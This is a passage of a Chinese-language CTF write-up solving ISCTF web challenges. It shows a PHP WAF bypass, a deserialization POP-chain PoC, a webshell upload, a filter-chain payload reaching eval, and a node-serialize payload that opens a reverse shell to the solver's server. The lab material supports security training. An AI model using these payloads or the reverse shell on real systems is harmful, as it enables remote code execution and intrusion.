|less|head|tail|[\|\&amp;amp;\&amp;gt;\&amp;lt;]|eval|system|exec|popen|shell_exec/i&amp;quot;, $cmd)) {&#xA;die(&amp;quot;Blocked by security filter!&amp;quot;);&#xA;} else {&#xA;eval($cmd);&#xA;}&#xA;} else {&#xA;highlight_file(__FILE__);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;waf关键词还挺多的。&lt;/p&gt;&#xA;&lt;p&gt;观察响应头，发现php版本7.3，支持字符串拼接绕过：&lt;/p&gt;&#xA;&lt;p&gt;(s.y.s.t.e.m)(&amp;ldquo;whoami&amp;rdquo;);&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731578207460-2a9fd87f-9906-46e4-924b-655cdafa6e5a.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;通过字符串拼接直接构建出payload，执行。后面我当时具体怎么做的忘了。这里提供另外一种办法：&lt;/p&gt;&#xA;&lt;p&gt;另外一种办法是不去调用system，而是用var_dump(scandir(&amp;rsquo;/&amp;rsquo;));获取目录内容。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731579392002-2ef2e0da-d92e-46f7-b139-4b7eb5b88bbf.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;然后在使用readfile(&amp;quot;/fla&amp;quot;.&amp;ldquo;g&amp;rdquo;)去读flag&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731579761030-551be2de-b82a-4d50-b17f-419d5d522d39.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;小蓝鲨的秘密&#34;&gt;小蓝鲨的秘密&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%b0%8f%e8%93%9d%e9%b2%a8%e7%9a%84%e7%a7%98%e5%af%86&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;直接访问题目链接发现会被跳转到蓝鲨信息官网，盲猜302跳转，我们使用burpsuite拦截css&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731579880011-fb0a885b-93ff-4280-806a-d0c99c46705c.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;直接拿flag。&lt;/p&gt;&#xA;&lt;h4 id=&#34;天命人&#34;&gt;天命人&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%a4%a9%e5%91%bd%e4%ba%ba&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;error_reporting(0);&#xA;&#xA;# 帮天命人搜集法宝，重获齐天之姿！&#xA;class Wuzhishan{&#xA;public $wu=&amp;quot;俺老孙定要踏破这五指山！&amp;lt;br&amp;gt;&amp;quot;;&#xA;public $zhi;&#xA;public $shan;&#xA;&#xA;function __get($j)&#xA;{&#xA;echo &amp;quot;此地阴阳二气略显虚浮，加上刚刚带入的阳气，或可借此遁逃！&amp;lt;br&amp;gt;&amp;quot;;&#xA;$yin=&amp;quot;s214587387a&amp;quot;;&#xA;$yang=$_GET[&#39;J&#39;];&#xA;if (md5($yin)==$yang&amp;amp;&amp;amp;md5($yin)==md5($yang)){&#xA;echo &amp;quot;哦？又一个不信天命之人？行了，拿了东西速速离开吧&amp;lt;br&amp;gt;&amp;quot;;&#xA;system(&#39;cat /flag&#39;);&#xA;}&#xA;}&#xA;}&#xA;class Huoyanjinjing{&#xA;public $huoyan;&#xA;public $jinjing;&#xA;function __get($huo)&#xA;{&#xA;$this-&amp;gt;huoyan=&amp;quot;火眼能洞察一切邪祟！&amp;lt;br&amp;gt;&amp;quot;;&#xA;echo $this-&amp;gt;huoyan-&amp;gt;jinjing;&#xA;}&#xA;function __invoke()&#xA;{&#xA;$this-&amp;gt;jinjing=&amp;quot;金睛能看破世间迷惘！&amp;lt;br&amp;gt;&amp;quot;;&#xA;echo $this-&amp;gt;huoyan-&amp;gt;jinjing;&#xA;}&#xA;}&#xA;class Dinghaishenzhen{&#xA;public $Jindou=&amp;quot;一个筋斗能翻十万八千里！&amp;lt;br&amp;gt;&amp;quot;;&#xA;public $yun;&#xA;&#xA;function __toString()&#xA;{&#xA;$f=$this-&amp;gt;yun;&#xA;$f();&#xA;return &amp;quot;你真的逃出去了吗？天命人？&amp;lt;br&amp;gt;&amp;quot;;&#xA;}&#xA;}&#xA;class Jingdouyun{&#xA;public $Qishier=72;&#xA;public $bian=&amp;quot;看俺老孙七十二变！&amp;lt;br&amp;gt;&amp;quot;;&#xA;&#xA;function __sleep()&#xA;{&#xA;echo &amp;quot;三更敲门，菩提老祖送我筋斗云...&amp;lt;br&amp;gt;&amp;quot;;&#xA;echo new Jindouyun();&#xA;}&#xA;}&#xA;class Tianmingren {&#xA;public $tianming;&#xA;public $ren;&#xA;function __destruct()&#xA;{&#xA;echo &amp;quot;迷途中的羔羊，你相信天命吗？&amp;lt;br&amp;gt;&amp;quot;;&#xA;echo $this-&amp;gt;tianming;&#xA;}&#xA;}&#xA;$data = unserialize($_POST[&#39;Wukong&#39;]);&#xA;throw new Exception(&#39;开局一根棍，装备全靠打。&#39;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;代码审计，首先是PHP反序列化，我们构建pop链：&lt;/p&gt;&#xA;&lt;p&gt;Tianmingren=&amp;gt;Dinghaishenzhen=&amp;gt;Huoyanjinjing=&amp;gt;Wuzhishan，&lt;/p&gt;&#xA;&lt;p&gt;其中Dinghaishenzhen到Huoyanjinjing这部分利用的是$f();调用魔术方法__invoke()，&lt;/p&gt;&#xA;&lt;p&gt;Huoyanjinjing到Wuzhishan这部分利用的是-&amp;gt;jinjing，即调用到不存在的字段时调用魔术方法__get($j)。&lt;/p&gt;&#xA;&lt;p&gt;另外考虑到unserialize下方有一句throw new Exception，它将阻止我们在反序列化之后调用类的__destruct魔术方法，从而无法使我们的调用链成功执行。因此我们必须尝试使PHP GC强制回收一次以触发我们的__destruct魔术方法。&lt;/p&gt;&#xA;&lt;p&gt;关于这部分内容，详细了解可以去看&lt;a href=&#34;https://www.cnblogs.com/uf9n1x/p/17187821.html&#34;&gt;浅谈php GC(垃圾回收)机制及其与CTF的一点缘分 - 海屿-uf9n1x - 博客园&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;完整poc：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;# 帮天命人搜集法宝，重获齐天之姿！&#xA;class Wuzhishan{&#xA;    public $wu=&amp;quot;&amp;quot;;&#xA;    public $zhi;&#xA;    public $shan;&#xA;}&#xA;class Huoyanjinjing{&#xA;    public $huoyan;&#xA;    public $jinjing;&#xA;}&#xA;class Dinghaishenzhen{&#xA;    public $Jindou=&amp;quot;&amp;quot;;&#xA;    public $yun;&#xA;}&#xA;class Tianmingren {&#xA;    public $tianming;&#xA;    public $ren;&#xA;}&#xA;&#xA;$data = new Tianmingren();&#xA;$theTianMing = new Dinghaishenzhen();&#xA;$theYun = new Huoyanjinjing();&#xA;$theHuoyan = new Wuzhishan();&#xA;&#xA;$theYun-&amp;gt;huoyan = $theHuoyan;&#xA;$theTianMing-&amp;gt;yun = $theYun;&#xA;$data-&amp;gt;tianming = $theTianMing;&#xA;&#xA;&#xA;echo serialize(array($data, 0) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;我们将通过上面代码拿到的序列化字符串进行一些修改使其gc强制工作：&lt;/p&gt;&#xA;&lt;p&gt;原字符串：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;font style=&amp;quot;color:rgb(0, 0, 0);&amp;quot;&amp;gt;a:2:{i:0;O:11:&amp;quot;Tianmingren&amp;quot;:2:{s:8:&amp;quot;tianming&amp;quot;;O:15:&amp;quot;Dinghaishenzhen&amp;quot;:2:{s:6:&amp;quot;Jindou&amp;quot;;s:0:&amp;quot;&amp;quot;;s:3:&amp;quot;yun&amp;quot;;O:13:&amp;quot;Huoyanjinjing&amp;quot;:2:{s:6:&amp;quot;huoyan&amp;quot;;O:9:&amp;quot;Wuzhishan&amp;quot;:3:{s:2:&amp;quot;wu&amp;quot;;s:0:&amp;quot;&amp;quot;;s:3:&amp;quot;zhi&amp;quot;;N;s:4:&amp;quot;shan&amp;quot;;N;}s:7:&amp;quot;jinjing&amp;quot;;N;}}s:3:&amp;quot;ren&amp;quot;;N;}i:1;i:0;}&amp;lt;/font&amp;gt;&#xA;&#xA;&amp;lt;font style=&amp;quot;color:rgb(0, 0, 0);&amp;quot;&amp;gt;修改为&amp;lt;/font&amp;gt;&#xA;&#xA;&amp;lt;font style=&amp;quot;color:rgb(0, 0, 0);&amp;quot;&amp;gt;a:1:{i:0;O:11:&amp;quot;Tianmingren&amp;quot;:2:{s:8:&amp;quot;tianming&amp;quot;;O:15:&amp;quot;Dinghaishenzhen&amp;quot;:2:{s:6:&amp;quot;Jindou&amp;quot;;s:0:&amp;quot;&amp;quot;;s:3:&amp;quot;yun&amp;quot;;O:13:&amp;quot;Huoyanjinjing&amp;quot;:2:{s:6:&amp;quot;huoyan&amp;quot;;O:9:&amp;quot;Wuzhishan&amp;quot;:3:{s:2:&amp;quot;wu&amp;quot;;s:0:&amp;quot;&amp;quot;;s:3:&amp;quot;zhi&amp;quot;;N;s:4:&amp;quot;shan&amp;quot;;N;}s:7:&amp;quot;jinjing&amp;quot;;N;}}s:3:&amp;quot;ren&amp;quot;;N;}i:1;i:0;}&amp;lt;/font&amp;gt;&#xA;&#xA;&amp;lt;font style=&amp;quot;color:rgb(0, 0, 0);&amp;quot;&amp;gt;就能正常走到最终的判断块了，至于那个md5判断，只需要参数放一个开头为0e，md5之后还是0e的字符串，就可以绕过。这里提供一个可用的：0e215962017&amp;lt;/font&amp;gt;&#xA;&#xA;&amp;lt;font style=&amp;quot;color:rgb(0, 0, 0);&amp;quot;&amp;gt;最终post参数，拿到flag。&amp;lt;/font&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731580897512-389ea3c2-89b5-491e-9948-b87aedf4b0d9.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;小蓝鲨的临时存储室&#34;&gt;小蓝鲨的临时存储室&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%b0%8f%e8%93%9d%e9%b2%a8%e7%9a%84%e4%b8%b4%e6%97%b6%e5%ad%98%e5%82%a8%e5%ae%a4&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731581915436-4aedc92d-0539-4d16-ad1e-910226227026.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;一上来是个文件上传，我们直接上传一句话shell。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731581955469-9ac596f9-43ab-437e-80c5-2e18ead3e778.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;非常贴心，上传完还回显了路径。我们直接用中国蚁剑连接。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731581991907-1a6037fa-ac63-4491-88fe-7dfde08caea7.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731582003217-66bd2d55-3a1c-459b-ac19-76e4ee094402.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;找到flag了，可惜打开是空的，但是大小也不是0byte呀？&lt;/p&gt;&#xA;&lt;p&gt;这是因为权限问题：&lt;img src=&#34;upload/1731582030168-b1c2044c-ed3d-4496-86b8-1e72abd91f2b.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;你再多停留一会，就会发现中国蚁剑已经无法正常使用了：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731582064373-62fa1744-97d0-4af3-bc20-e1e62a239751.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;推测可能是存在某脚本进行文件删除行为，将我们的shell删掉了。因此我们下次行动必须稍微快一点。&lt;/p&gt;&#xA;&lt;p&gt;再次上传脚本并连接，发现可疑脚本down_file.sh，打开:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731582146794-ee51bd8a-deb7-4f52-95a3-3eb0be4b7dc2.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;果然印证了我们的猜想，我们直接火速删除这行代码并保存，防止后续再删。&lt;/p&gt;&#xA;&lt;p&gt;那么是否可以借助这个定时运行的脚本来修改我们flag的权限呢？&lt;/p&gt;&#xA;&lt;p&gt;我们直接在里面的内容加上 chmod 755 /flag 并保存，再将down_file.sh这个文件的权限修改为0755，执行该脚本之后，便发现我们的flag权限已经被调整为0755，可以直接打开了。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731582665146-e4aee0a2-5dea-43db-bb07-c4471069bfac.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;千年樱&#34;&gt;千年樱&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%8d%83%e5%b9%b4%e6%a8%b1&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include &amp;quot;dir.php&amp;quot;;&#xA;highlight_file(__FILE__);&#xA;&#xA;echo &amp;quot;proof of work&amp;lt;br&amp;gt;&amp;quot;;&#xA;&#xA;if($_COOKIE[&#39;from&#39;] === &amp;quot;ISCTF&amp;quot;){&#xA;echo $dir1;&#xA;}&#xA;else{&#xA;die(&#39;what? so where are you from?&#39;);&#xA;}&#xA;&#xA;// &amp;lt;!-- do you want to learn more?  goto story.txt --&amp;gt;&#xA;?&amp;gt; proof of work&#xA;what? so where are you from?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;首先是需要设置Cookie的from=ISCTF&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731581000040-1b88466b-08df-4f0b-b8fe-5268ee20ac50.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;根据回显提示，前往/get_contents_qwerghjkl.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;read! read! read!&amp;lt;/title&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body style=&amp;quot;background: &#39;/static/bg1.png&#39; &amp;quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;include &amp;quot;dir.php&amp;quot;;&#xA;highlight_file(__FILE__);&#xA;&#xA;if(file_get_contents($_POST[&#39;name&#39;]) === &#39;ISCTF&#39;){&#xA;echo $dir2;&#xA;}&#xA;else{&#xA;die(&amp;quot;Wrong!&amp;quot;);&#xA;}&#xA;&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;这里需要让file_get_contents获取到ISCTF，可以使用data协议：&lt;/p&gt;&#xA;&lt;p&gt;data://text/plain;ISCTF&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731581171178-648514b9-4334-4a8b-bf1b-76be65da95d2.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;根据回显前往/well_down_mlpnkobji.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;read! read! read! we need read!!!&amp;lt;/title&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body style=&amp;quot;background-image: url(&#39;/static/bg2.png&#39;); background-size: cover; background-attachment: fixed; &amp;quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;include &amp;quot;dir.php&amp;quot;;&#xA;highlight_file(__FILE__);&#xA;&#xA;function waf($str){&#xA;if(preg_match(&amp;quot;/http|php|file|:|=|\/|\?/i&amp;quot;, $str) ){&#xA;die(&#39;bad hacker!!!&#39;);&#xA;}&#xA;}&#xA;$poc = $_POST[&#39;poc&#39;];&#xA;waf($poc);&#xA;$filename = &amp;quot;php://filter/$poc/resource=/var/www/html/badChar.txt&amp;quot;;&#xA;$result = file_get_contents($filename);&#xA;if($result === &amp;quot;sakura for ISCTF&amp;quot;){&#xA;echo &amp;quot;yes! master!&amp;quot;;&#xA;eval($_POST[&#39;cmd&#39;]);&#xA;}&#xA;&#xA;if($_GET[&#39;output&#39;] == 114514 &amp;amp;&amp;amp; !is_numeric($_GET[&#39;output&#39;])){&#xA;var_dump($result);&#xA;}&#xA;&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;这里是要求我们通过php filter伪协议实现从流中读取内容为sakura for ISCTF，&lt;/p&gt;&#xA;&lt;p&gt;我们使用这个在线小工具生成过滤流：&lt;/p&gt;&#xA;&lt;p&gt;（这里考虑到由于该文件是有内容的，我们在使用小工具生成前需要思考如何将文件的内容删去。这里有一个方法：通过在sakura for ISCTF后添加&amp;lt;?php，在该php标签之后的内容都将会被php视为代码，之后在我们生成的过滤流最后添加上&lt;code&gt;|string.strip_tags&lt;/code&gt;来删除这部分内容即可。）&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://probiusofficial.github.io/PHP-FilterChain-Exploit/&#34;&gt;PHP FilterChain Generator&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;生成之后的结果：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;直接将这一坨拿去请求会发现报错：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731581734205-b25bf2f7-2e22-4a77-89c6-eae8c03a02f0.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;这是因为第一句的韩文编码存在问题，我们将开头的convert.iconv.UTF8.CSISO2022KR|删去再次请求即可得到回显：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731581776172-2274fbe8-f360-4f33-95cf-a9744da55bb0.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;此时可以达成RCE，我们直接ls:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731581857315-59c58522-3f16-4251-9985-448955ad45e2.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;发现当前目录下存在flag.php，直接cat获取flag。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731581876392-7633d7b8-7761-407f-af20-648db5eb24bc.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;ezlogin&#34;&gt;ezlogin&lt;a class=&#34;heading-anchor&#34; href=&#34;#ezlogin&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;首先代码审计，可以发现后端采用ejs编写。ejs这块一般常考的一个原型链污染，另一个就是反序列化rce。&lt;a href=&#34;https://xz.aliyun.com/t/7184?u_atoken=668b157972851efa01466a277eb12ce8&amp;amp;u_asig=0a472f9017312547063416899e003f&amp;amp;_refluxos=a10&amp;amp;time__1311=QqUx9iitDQi%3D%3DiKDsdoYKR09DBQBY%3Do%3DH4D#toc-8&#34;&gt;Node.js 常见漏洞学习与总结 - 先知社区&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731583439371-0d924ebc-e8e5-4023-91dc-b243646f816c.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;打开看到auth函数内有对unserialize的调用，八九不离十就是反序列化rce了。&lt;/p&gt;&#xA;&lt;p&gt;这里说一下要如何利用：&lt;/p&gt;&#xA;&lt;p&gt;在将要被反序列化的json中，包含一个值，这个值有“ND_FUNC”这个字符串。在该字符串后面可以携带javascript进行执行。&lt;/p&gt;&#xA;&lt;p&gt;基于这个原理，我们构建一个exploit rce json:(&lt;strong&gt;由于拿不到回显 我们需要一台服务器来反弹shell&lt;/strong&gt;)&lt;/p&gt;&#xA;&lt;p&gt;{&amp;ldquo;rce&amp;rdquo;:&amp;quot;_$ND_FUNC$_function(){var net=require(&amp;rsquo;net&amp;rsquo;),cp=require(&amp;lsquo;child_process&amp;rsquo;),sh=cp.spawn(&amp;rsquo;/bin/sh&amp;rsquo;,[]);var client=new net.Socket();client.connect(服务器port,&amp;lsquo;服务器ip&amp;rsquo;,function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;}()&amp;quot;,&amp;ldquo;username&amp;rdquo;:&amp;ldquo;guest&amp;rdquo;,&amp;ldquo;isAdmin&amp;rdquo;:&amp;ldquo;true&amp;rdquo;}&lt;/p&gt;&#xA;&lt;p&gt;将该json base64编码后放入cookie中GET /index 即可反弹shell&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731585594506-1db74043-1003-4bae-9054-edfb752f78d1.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731585602968-12a2e356-c34b-4bab-881b-f5aa08bd864c.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;新闻系统&#34;&gt;新闻系统&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%96%b0%e9%97%bb%e7%b3%bb%e7%bb%9f&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;这题有附件。打开附件进行代码审计：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img 